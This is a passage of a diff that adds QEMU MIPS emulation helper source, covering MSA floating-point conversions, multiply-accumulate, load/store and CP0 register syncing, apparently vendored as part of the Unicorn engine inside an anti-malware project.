+ assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_frint_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], round_to_int, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], round_to_int, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define MSA_FLOAT_LOGB(DEST, ARG, BITS) \ + do { \ + int c; \ + \ + set_float_exception_flags(0, &env->active_tc.msa_fp_status); \ + set_float_rounding_mode(float_round_down, \ + &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## log2(ARG, \ + &env->active_tc.msa_fp_status); \ + DEST = float ## BITS ## _ ## round_to_int(DEST, \ + &env->active_tc.msa_fp_status); \ + set_float_rounding_mode(ieee_rm[(env->active_tc.msacsr & \ + MSACSR_RM_MASK) >> MSACSR_RM], \ + &env->active_tc.msa_fp_status); \ + \ + set_float_exception_flags( \ + get_float_exception_flags(&env->active_tc.msa_fp_status) \ + & (~float_flag_inexact), \ + &env->active_tc.msa_fp_status); \ + \ + c = update_msacsr(env, 0, IS_DENORMAL(DEST, BITS)); \ + \ + if (get_enabled_exceptions(env, c)) { \ + DEST = ((FLOAT_SNAN ## BITS >> 6) << 6) | c; \ + } \ + } while (0) + +void helper_msa_flog2_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_LOGB(pwx->w[i], pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_LOGB(pwx->d[i], pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_fexupl_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + /* Half precision floats come in two formats: standard + IEEE and "ARM" format. The latter gains extra exponent + range by omitting the NaN/Inf encodings. */ + flag ieee = 1; + + MSA_FLOAT_BINOP(pwx->w[i], from_float16, Lh(pws, i), ieee, 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_float32, Lw(pws, i), 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + msa_move_v(pwd, pwx); +} + +void helper_msa_fexupr_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + /* Half precision floats come in two formats: standard + IEEE and "ARM" format. The latter gains extra exponent + range by omitting the NaN/Inf encodings. */ + flag ieee = 1; + + MSA_FLOAT_BINOP(pwx->w[i], from_float16, Rh(pws, i), ieee, 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_float32, Rw(pws, i), 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + msa_move_v(pwd, pwx); +} + +void helper_msa_ffql_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], from_q16, Lh(pws, i), 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_q32, Lw(pws, i), 64); + } + break; + default: + assert(0); + } + + msa_move_v(pwd, pwx); +} + +void helper_msa_ffqr_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], from_q16, Rh(pws, i), 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_q32, Rw(pws, i), 64); + } + break; + default: + assert(0); + } + + msa_move_v(pwd, pwx); +} + +void helper_msa_ftint_s_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP0(pwx->w[i], to_int32, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP0(pwx->d[i], to_int64, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_ftint_u_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP0(pwx->w[i], to_uint32, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP0(pwx->d[i], to_uint64, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +#define float32_from_int32 int32_to_float32 +#define float32_from_uint32 uint32_to_float32 + +#define float64_from_int64 int64_to_float64 +#define float64_from_uint64 uint64_to_float64 + +void helper_msa_ffint_s_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], from_int32, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_int64, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} + +void helper_msa_ffint_u_df(CPUMIPSState *env, uint32_t df, uint32_t wd, + uint32_t ws) +{ + wr_t wx, *pwx = &wx; + wr_t *pwd = &(env->active_fpu.fpr[wd].wr); + wr_t *pws = &(env->active_fpu.fpr[ws].wr); + uint32_t i; + + clear_msacsr_cause(env); + + switch (df) { + case DF_WORD: + for (i = 0; i < DF_ELEMENTS(DF_WORD); i++) { + MSA_FLOAT_UNOP(pwx->w[i], from_uint32, pws->w[i], 32); + } + break; + case DF_DOUBLE: + for (i = 0; i < DF_ELEMENTS(DF_DOUBLE); i++) { + MSA_FLOAT_UNOP(pwx->d[i], from_uint64, pws->d[i], 64); + } + break; + default: + assert(0); + } + + check_msacsr_cause(env); + + msa_move_v(pwd, pwx); +} diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/op_helper.c b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/op_helper.c new file mode 100644 index 0000000..0855d8a --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/target-mips/op_helper.c @@ -0,0 +1,3713 @@ +/* + * MIPS emulation helpers for qemu. + * + * Copyright (c) 2004-2005 Jocelyn Mayer + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see . + */ +#include +#include "cpu.h" +#include "qemu/host-utils.h" +#include "exec/helper-proto.h" +#include "exec/cpu_ldst.h" + +#ifndef CONFIG_USER_ONLY +static inline void cpu_mips_tlb_flush (CPUMIPSState *env, int flush_global); +#endif + +/*****************************************************************************/ +/* Exceptions processing helpers */ + +static inline void QEMU_NORETURN do_raise_exception_err(CPUMIPSState *env, + uint32_t exception, + int error_code, + uintptr_t pc) +{ + CPUState *cs = CPU(mips_env_get_cpu(env)); + + if (exception < EXCP_SC) { + qemu_log("%s: %d %d\n", __func__, exception, error_code); + } + cs->exception_index = exception; + env->error_code = error_code; + + if (pc) { + /* now we have a real cpu fault */ + cpu_restore_state(cs, pc); + } + + if (exception == 0x11) { + env->uc->next_pc = env->active_tc.PC + 4; + } + + cpu_loop_exit(cs); +} + +static inline void QEMU_NORETURN do_raise_exception(CPUMIPSState *env, + uint32_t exception, + uintptr_t pc) +{ + do_raise_exception_err(env, exception, 0, pc); +} + +void helper_raise_exception_err(CPUMIPSState *env, uint32_t exception, + int error_code) +{ + do_raise_exception_err(env, exception, error_code, 0); +} + +void helper_raise_exception(CPUMIPSState *env, uint32_t exception) +{ + do_raise_exception(env, exception, 0); +} + +#if defined(CONFIG_USER_ONLY) +#define HELPER_LD(name, insn, type) \ +static inline type do_##name(CPUMIPSState *env, target_ulong addr, \ + int mem_idx) \ +{ \ + return (type) insn##_raw(addr); \ +} +#else +#define HELPER_LD(name, insn, type) \ +static inline type do_##name(CPUMIPSState *env, target_ulong addr, \ + int mem_idx) \ +{ \ + switch (mem_idx) \ + { \ + case 0: return (type) cpu_##insn##_kernel(env, addr); break; \ + case 1: return (type) cpu_##insn##_super(env, addr); break; \ + default: \ + case 2: return (type) cpu_##insn##_user(env, addr); break; \ + } \ +} +#endif +HELPER_LD(lbu, ldub, uint8_t) +HELPER_LD(lhu, lduw, uint16_t) +HELPER_LD(lw, ldl, int32_t) +HELPER_LD(ld, ldq, int64_t) +#undef HELPER_LD + +#if defined(CONFIG_USER_ONLY) +#define HELPER_ST(name, insn, type) \ +static inline void do_##name(CPUMIPSState *env, target_ulong addr, \ + type val, int mem_idx) \ +{ \ + insn##_raw(addr, val); \ +} +#else +#define HELPER_ST(name, insn, type) \ +static inline void do_##name(CPUMIPSState *env, target_ulong addr, \ + type val, int mem_idx) \ +{ \ + switch (mem_idx) \ + { \ + case 0: cpu_##insn##_kernel(env, addr, val); break; \ + case 1: cpu_##insn##_super(env, addr, val); break; \ + default: \ + case 2: cpu_##insn##_user(env, addr, val); break; \ + } \ +} +#endif +HELPER_ST(sb, stb, uint8_t) +HELPER_ST(sh, stw, uint16_t) +HELPER_ST(sw, stl, uint32_t) +HELPER_ST(sd, stq, uint64_t) +#undef HELPER_ST + +target_ulong helper_clo (target_ulong arg1) +{ + return clo32(arg1); +} + +target_ulong helper_clz (target_ulong arg1) +{ + return clz32(arg1); +} + +#if defined(TARGET_MIPS64) +target_ulong helper_dclo (target_ulong arg1) +{ + return clo64(arg1); +} + +target_ulong helper_dclz (target_ulong arg1) +{ + return clz64(arg1); +} +#endif /* TARGET_MIPS64 */ + +/* 64 bits arithmetic for 32 bits hosts */ +static inline uint64_t get_HILO(CPUMIPSState *env) +{ + return ((uint64_t)(env->active_tc.HI[0]) << 32) | (uint32_t)env->active_tc.LO[0]; +} + +static inline target_ulong set_HIT0_LO(CPUMIPSState *env, uint64_t HILO) +{ + target_ulong tmp; + env->active_tc.LO[0] = (int32_t)(HILO & 0xFFFFFFFF); + tmp = env->active_tc.HI[0] = (int32_t)(HILO >> 32); + return tmp; +} + +static inline target_ulong set_HI_LOT0(CPUMIPSState *env, uint64_t HILO) +{ + target_ulong tmp = env->active_tc.LO[0] = (int32_t)(HILO & 0xFFFFFFFF); + env->active_tc.HI[0] = (int32_t)(HILO >> 32); + return tmp; +} + +/* Multiplication variants of the vr54xx. */ +target_ulong helper_muls(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, 0 - ((int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2)); +} + +target_ulong helper_mulsu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, 0 - (uint64_t)(uint32_t)arg1 * + (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_macc(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, (int64_t)get_HILO(env) + (int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2); +} + +target_ulong helper_macchi(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (int64_t)get_HILO(env) + (int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2); +} + +target_ulong helper_maccu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, (uint64_t)get_HILO(env) + + (uint64_t)(uint32_t)arg1 * (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_macchiu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (uint64_t)get_HILO(env) + + (uint64_t)(uint32_t)arg1 * (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_msac(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, (int64_t)get_HILO(env) - (int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2); +} + +target_ulong helper_msachi(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (int64_t)get_HILO(env) - (int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2); +} + +target_ulong helper_msacu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HI_LOT0(env, (uint64_t)get_HILO(env) - + (uint64_t)(uint32_t)arg1 * (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_msachiu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (uint64_t)get_HILO(env) - + (uint64_t)(uint32_t)arg1 * (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_mulhi(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (int64_t)(int32_t)arg1 * (int64_t)(int32_t)arg2); +} + +target_ulong helper_mulhiu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, (uint64_t)(uint32_t)arg1 * + (uint64_t)(uint32_t)arg2); +} + +target_ulong helper_mulshi(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, 0 - (int64_t)(int32_t)arg1 * + (int64_t)(int32_t)arg2); +} + +target_ulong helper_mulshiu(CPUMIPSState *env, target_ulong arg1, + target_ulong arg2) +{ + return set_HIT0_LO(env, 0 - (uint64_t)(uint32_t)arg1 * + (uint64_t)(uint32_t)arg2); +} + +static inline target_ulong bitswap(target_ulong v) +{ + v = ((v >> 1) & (target_ulong)0x5555555555555555ULL) | + ((v & (target_ulong)0x5555555555555555ULL) << 1); + v = ((v >> 2) & (target_ulong)0x3333333333333333ULL) | + ((v & (target_ulong)0x3333333333333333ULL) << 2); + v = ((v >> 4) & (target_ulong)0x0F0F0F0F0F0F0F0FULL) | + ((v & (target_ulong)0x0F0F0F0F0F0F0F0FULL) << 4); + return v; +} + +#ifdef TARGET_MIPS64 +target_ulong helper_dbitswap(target_ulong rt) +{ + return bitswap(rt); +} +#endif + +target_ulong helper_bitswap(target_ulong rt) +{ + return (int32_t)bitswap(rt); +} + +#ifndef CONFIG_USER_ONLY + +static inline hwaddr do_translate_address(CPUMIPSState *env, + target_ulong address, + int rw) +{ + hwaddr lladdr; + + lladdr = cpu_mips_translate_address(env, address, rw); + + if (lladdr == -1LL) { + cpu_loop_exit(CPU(mips_env_get_cpu(env))); + } else { + return lladdr; + } +} + +#define HELPER_LD_ATOMIC(name, insn) \ +target_ulong helper_##name(CPUMIPSState *env, target_ulong arg, int mem_idx) \ +{ \ + env->lladdr = do_translate_address(env, arg, 0); \ + env->llval = do_##insn(env, arg, mem_idx); \ + return env->llval; \ +} +HELPER_LD_ATOMIC(ll, lw) +#ifdef TARGET_MIPS64 +HELPER_LD_ATOMIC(lld, ld) +#endif +#undef HELPER_LD_ATOMIC + +#define HELPER_ST_ATOMIC(name, ld_insn, st_insn, almask) \ +target_ulong helper_##name(CPUMIPSState *env, target_ulong arg1, \ + target_ulong arg2, int mem_idx) \ +{ \ + target_long tmp; \ + \ + if (arg2 & almask) { \ + env->CP0_BadVAddr = arg2; \ + helper_raise_exception(env, EXCP_AdES); \ + } \ + if (do_translate_address(env, arg2, 1) == env->lladdr) { \ + tmp = do_##ld_insn(env, arg2, mem_idx); \ + if (tmp == env->llval) { \ + do_##st_insn(env, arg2, arg1, mem_idx); \ + return 1; \ + } \ + } \ + return 0; \ +} +HELPER_ST_ATOMIC(sc, lw, sw, 0x3) +#ifdef TARGET_MIPS64 +HELPER_ST_ATOMIC(scd, ld, sd, 0x7) +#endif +#undef HELPER_ST_ATOMIC +#endif + +#ifdef TARGET_WORDS_BIGENDIAN +#define GET_LMASK(v) ((v) & 3) +#define GET_OFFSET(addr, offset) (addr + (offset)) +#else +#define GET_LMASK(v) (((v) & 3) ^ 3) +#define GET_OFFSET(addr, offset) (addr - (offset)) +#endif + +void helper_swl(CPUMIPSState *env, target_ulong arg1, target_ulong arg2, + int mem_idx) +{ + do_sb(env, arg2, (uint8_t)(arg1 >> 24), mem_idx); + + if (GET_LMASK(arg2) <= 2) + do_sb(env, GET_OFFSET(arg2, 1), (uint8_t)(arg1 >> 16), mem_idx); + + if (GET_LMASK(arg2) <= 1) + do_sb(env, GET_OFFSET(arg2, 2), (uint8_t)(arg1 >> 8), mem_idx); + + if (GET_LMASK(arg2) == 0) + do_sb(env, GET_OFFSET(arg2, 3), (uint8_t)arg1, mem_idx); +} + +void helper_swr(CPUMIPSState *env, target_ulong arg1, target_ulong arg2, + int mem_idx) +{ + do_sb(env, arg2, (uint8_t)arg1, mem_idx); + + if (GET_LMASK(arg2) >= 1) + do_sb(env, GET_OFFSET(arg2, -1), (uint8_t)(arg1 >> 8), mem_idx); + + if (GET_LMASK(arg2) >= 2) + do_sb(env, GET_OFFSET(arg2, -2), (uint8_t)(arg1 >> 16), mem_idx); + + if (GET_LMASK(arg2) == 3) + do_sb(env, GET_OFFSET(arg2, -3), (uint8_t)(arg1 >> 24), mem_idx); +} + +#if defined(TARGET_MIPS64) +/* "half" load and stores. We must do the memory access inline, + or fault handling won't work. */ + +#ifdef TARGET_WORDS_BIGENDIAN +#define GET_LMASK64(v) ((v) & 7) +#else +#define GET_LMASK64(v) (((v) & 7) ^ 7) +#endif + +void helper_sdl(CPUMIPSState *env, target_ulong arg1, target_ulong arg2, + int mem_idx) +{ + do_sb(env, arg2, (uint8_t)(arg1 >> 56), mem_idx); + + if (GET_LMASK64(arg2) <= 6) + do_sb(env, GET_OFFSET(arg2, 1), (uint8_t)(arg1 >> 48), mem_idx); + + if (GET_LMASK64(arg2) <= 5) + do_sb(env, GET_OFFSET(arg2, 2), (uint8_t)(arg1 >> 40), mem_idx); + + if (GET_LMASK64(arg2) <= 4) + do_sb(env, GET_OFFSET(arg2, 3), (uint8_t)(arg1 >> 32), mem_idx); + + if (GET_LMASK64(arg2) <= 3) + do_sb(env, GET_OFFSET(arg2, 4), (uint8_t)(arg1 >> 24), mem_idx); + + if (GET_LMASK64(arg2) <= 2) + do_sb(env, GET_OFFSET(arg2, 5), (uint8_t)(arg1 >> 16), mem_idx); + + if (GET_LMASK64(arg2) <= 1) + do_sb(env, GET_OFFSET(arg2, 6), (uint8_t)(arg1 >> 8), mem_idx); + + if (GET_LMASK64(arg2) <= 0) + do_sb(env, GET_OFFSET(arg2, 7), (uint8_t)arg1, mem_idx); +} + +void helper_sdr(CPUMIPSState *env, target_ulong arg1, target_ulong arg2, + int mem_idx) +{ + do_sb(env, arg2, (uint8_t)arg1, mem_idx); + + if (GET_LMASK64(arg2) >= 1) + do_sb(env, GET_OFFSET(arg2, -1), (uint8_t)(arg1 >> 8), mem_idx); + + if (GET_LMASK64(arg2) >= 2) + do_sb(env, GET_OFFSET(arg2, -2), (uint8_t)(arg1 >> 16), mem_idx); + + if (GET_LMASK64(arg2) >= 3) + do_sb(env, GET_OFFSET(arg2, -3), (uint8_t)(arg1 >> 24), mem_idx); + + if (GET_LMASK64(arg2) >= 4) + do_sb(env, GET_OFFSET(arg2, -4), (uint8_t)(arg1 >> 32), mem_idx); + + if (GET_LMASK64(arg2) >= 5) + do_sb(env, GET_OFFSET(arg2, -5), (uint8_t)(arg1 >> 40), mem_idx); + + if (GET_LMASK64(arg2) >= 6) + do_sb(env, GET_OFFSET(arg2, -6), (uint8_t)(arg1 >> 48), mem_idx); + + if (GET_LMASK64(arg2) == 7) + do_sb(env, GET_OFFSET(arg2, -7), (uint8_t)(arg1 >> 56), mem_idx); +} +#endif /* TARGET_MIPS64 */ + +static const int multiple_regs[] = { 16, 17, 18, 19, 20, 21, 22, 23, 30 }; + +void helper_lwm(CPUMIPSState *env, target_ulong addr, target_ulong reglist, + uint32_t mem_idx) +{ + target_ulong base_reglist = reglist & 0xf; + target_ulong do_r31 = reglist & 0x10; + + if (base_reglist > 0 && base_reglist <= ARRAY_SIZE (multiple_regs)) { + target_ulong i; + + for (i = 0; i < base_reglist; i++) { + env->active_tc.gpr[multiple_regs[i]] = + (target_long)do_lw(env, addr, mem_idx); + addr += 4; + } + } + + if (do_r31) { + env->active_tc.gpr[31] = (target_long)do_lw(env, addr, mem_idx); + } +} + +void helper_swm(CPUMIPSState *env, target_ulong addr, target_ulong reglist, + uint32_t mem_idx) +{ + target_ulong base_reglist = reglist & 0xf; + target_ulong do_r31 = reglist & 0x10; + + if (base_reglist > 0 && base_reglist <= ARRAY_SIZE (multiple_regs)) { + target_ulong i; + + for (i = 0; i < base_reglist; i++) { + do_sw(env, addr, env->active_tc.gpr[multiple_regs[i]], mem_idx); + addr += 4; + } + } + + if (do_r31) { + do_sw(env, addr, env->active_tc.gpr[31], mem_idx); + } +} + +#if defined(TARGET_MIPS64) +void helper_ldm(CPUMIPSState *env, target_ulong addr, target_ulong reglist, + uint32_t mem_idx) +{ + target_ulong base_reglist = reglist & 0xf; + target_ulong do_r31 = reglist & 0x10; + + if (base_reglist > 0 && base_reglist <= ARRAY_SIZE (multiple_regs)) { + target_ulong i; + + for (i = 0; i < base_reglist; i++) { + env->active_tc.gpr[multiple_regs[i]] = do_ld(env, addr, mem_idx); + addr += 8; + } + } + + if (do_r31) { + env->active_tc.gpr[31] = do_ld(env, addr, mem_idx); + } +} + +void helper_sdm(CPUMIPSState *env, target_ulong addr, target_ulong reglist, + uint32_t mem_idx) +{ + target_ulong base_reglist = reglist & 0xf; + target_ulong do_r31 = reglist & 0x10; + + if (base_reglist > 0 && base_reglist <= ARRAY_SIZE (multiple_regs)) { + target_ulong i; + + for (i = 0; i < base_reglist; i++) { + do_sd(env, addr, env->active_tc.gpr[multiple_regs[i]], mem_idx); + addr += 8; + } + } + + if (do_r31) { + do_sd(env, addr, env->active_tc.gpr[31], mem_idx); + } +} +#endif + +#ifndef CONFIG_USER_ONLY +/* SMP helpers. */ +static bool mips_vpe_is_wfi(MIPSCPU *c) +{ + CPUState *cpu = CPU(c); + CPUMIPSState *env = &c->env; + + /* If the VPE is halted but otherwise active, it means it's waiting for + an interrupt. */ + return cpu->halted && mips_vpe_active(env); +} + +static inline void mips_vpe_wake(MIPSCPU *c) +{ + /* Dont set ->halted = 0 directly, let it be done via cpu_has_work + because there might be other conditions that state that c should + be sleeping. */ + cpu_interrupt(CPU(c), CPU_INTERRUPT_WAKE); +} + +static inline void mips_vpe_sleep(MIPSCPU *cpu) +{ + CPUState *cs = CPU(cpu); + + /* The VPE was shut off, really go to bed. + Reset any old _WAKE requests. */ + cs->halted = 1; + cpu_reset_interrupt(cs, CPU_INTERRUPT_WAKE); +} + +static inline void mips_tc_wake(MIPSCPU *cpu, int tc) +{ + CPUMIPSState *c = &cpu->env; + + /* FIXME: TC reschedule. */ + if (mips_vpe_active(c) && !mips_vpe_is_wfi(cpu)) { + mips_vpe_wake(cpu); + } +} + +static inline void mips_tc_sleep(MIPSCPU *cpu, int tc) +{ + CPUMIPSState *c = &cpu->env; + + /* FIXME: TC reschedule. */ + if (!mips_vpe_active(c)) { + mips_vpe_sleep(cpu); + } +} + +/** + * mips_cpu_map_tc: + * @env: CPU from which mapping is performed. + * @tc: Should point to an int with the value of the global TC index. + * + * This function will transform @tc into a local index within the + * returned #CPUMIPSState. + */ +/* FIXME: This code assumes that all VPEs have the same number of TCs, + which depends on runtime setup. Can probably be fixed by + walking the list of CPUMIPSStates. */ +static CPUMIPSState *mips_cpu_map_tc(CPUMIPSState *env, int *tc) +{ + MIPSCPU *cpu; + CPUState *cs; + CPUState *other_cs; + int vpe_idx; + int tc_idx = *tc; + + if (!(env->CP0_VPEConf0 & (1 << CP0VPEC0_MVP))) { + /* Not allowed to address other CPUs. */ + *tc = env->current_tc; + return env; + } + + cs = CPU(mips_env_get_cpu(env)); + vpe_idx = tc_idx / cs->nr_threads; + *tc = tc_idx % cs->nr_threads; + other_cs = qemu_get_cpu(env->uc, vpe_idx); + if (other_cs == NULL) { + return env; + } + cpu = MIPS_CPU(env->uc, other_cs); + return &cpu->env; +} + +/* The per VPE CP0_Status register shares some fields with the per TC + CP0_TCStatus registers. These fields are wired to the same registers, + so changes to either of them should be reflected on both registers. + + Also, EntryHi shares the bottom 8 bit ASID with TCStauts. + + These helper call synchronizes the regs for a given cpu. */ + +/* Called for updates to CP0_Status. */ +static void sync_c0_status(CPUMIPSState *env, CPUMIPSState *cpu, int tc) +{ + int32_t tcstatus, *tcst; + uint32_t v = cpu->CP0_Status; + uint32_t cu, mx, asid, ksu; + uint32_t mask = ((1 << CP0TCSt_TCU3) + | (1 << CP0TCSt_TCU2) + | (1 << CP0TCSt_TCU1) + | (1 << CP0TCSt_TCU0) + | (1 << CP0TCSt_TMX) + | (3 << CP0TCSt_TKSU) + | (0xff << CP0TCSt_TASID)); + + cu = (v >> CP0St_CU0) & 0xf; + mx = (v >> CP0St_MX) & 0x1; + ksu = (v >> CP0St_KSU) & 0x3; + asid = env->CP0_EntryHi & 0xff; + + tcstatus = cu << CP0TCSt_TCU0; + tcstatus |= mx << CP0TCSt_TMX; + tcstatus |= ksu << CP0TCSt_TKSU; + tcstatus |= asid; + + if (tc == cpu->current_tc) { + tcst = &cpu->active_tc.CP0_TCStatus; + } else { + tcst = &cpu->tcs[tc].CP0_TCStatus; + } + + *tcst &= ~mask; + *tcst |= tcstatus; + compute_hflags(cpu); +} + +/* Called for updates to CP0_TCStatus. */ +static void sync_c0_tcstatus(CPUMIPSState *cpu, int tc, + target_ulong v) +{ + uint32_t status; + uint32_t tcu, tmx, tasid, tksu; + uint32_t mask = ((1U << CP0St_CU3) + | (1 << CP0St_CU2) + | (1 << CP0St_CU1) + | (1 << CP0St_CU0) + | (1 << CP0St_MX) + | (3 << CP0St_KSU)); + + tcu = (v >> CP0TCSt_TCU0) & 0xf; + tmx = (v >> CP0TCSt_TMX) & 0x1; + tasid = v & 0xff; + tksu = (v >> CP0TCSt_TKSU) & 0x3; + + status = tcu << CP0St_CU0; + status |= tmx << CP0St_MX; + status |= tksu << CP0St_KSU; + + cpu->CP0_Status &= ~mask; + cpu->CP0_Status |= status; + + /* Sync the TASID with EntryHi. */ + cpu->CP0_EntryHi &= ~0xff; + cpu->CP0_EntryHi = tasid; + + compute_hflags(cpu); +} + +/* Called for updates to CP0_EntryHi. */ +static void sync_c0_entryhi(CPUMIPSState *cpu, int tc) +{ + int32_t *tcst; + uint32_t asid, v = cpu->CP0_EntryHi; + + asid = v & 0xff; + + if (tc == cpu->current_tc) { + tcst = &cpu->active_tc.CP0_TCStatus; + } else { + tcst = 